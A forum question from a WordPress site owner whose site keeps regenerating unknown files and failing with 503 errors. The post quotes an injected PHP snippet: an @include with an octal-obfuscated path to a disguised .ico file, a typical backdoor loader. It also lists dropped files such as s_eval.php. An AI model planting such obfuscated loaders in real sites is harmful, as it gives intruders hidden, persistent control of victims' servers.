title: Issue with Wordpress, generating random file and code in main directory
body: <p>I have hosted my website on hostinger.com and I don't know from where this code is coming from every time I delete it, it's come automatically, and I think because of these unknown codes my server is showing 503 every time and I need to stop all my running process only then site works, it's happening in every 2 to 3 hour, I am using Cloudflare for SSL as well.        </p>
  
  <pre><code> /*41b44*/
  @include 
  
  "\057ho\155e/\16517\06520\06188\065/d\157ma\151ns\057ed\165ap\160.i\156/p\165bl\151c_\
   150tm\154/e\144ua\160p_\155as\164er\057pa\147es\137ad\155in\057fi\154e/\
  05660\06339\06520\056ic\157";
  
   /*41b44*/
  </code></pre>
  
  <p>and some unknown PHP files are also generating in WordPress home directory for example:</p>
  
  <pre><code>hours.php shoes.php uypR7k s_noeval.php s_eval.php
  </code></pre>
  
  <p>and so many random naming files are generated. 
   please help. Thank You.</p>
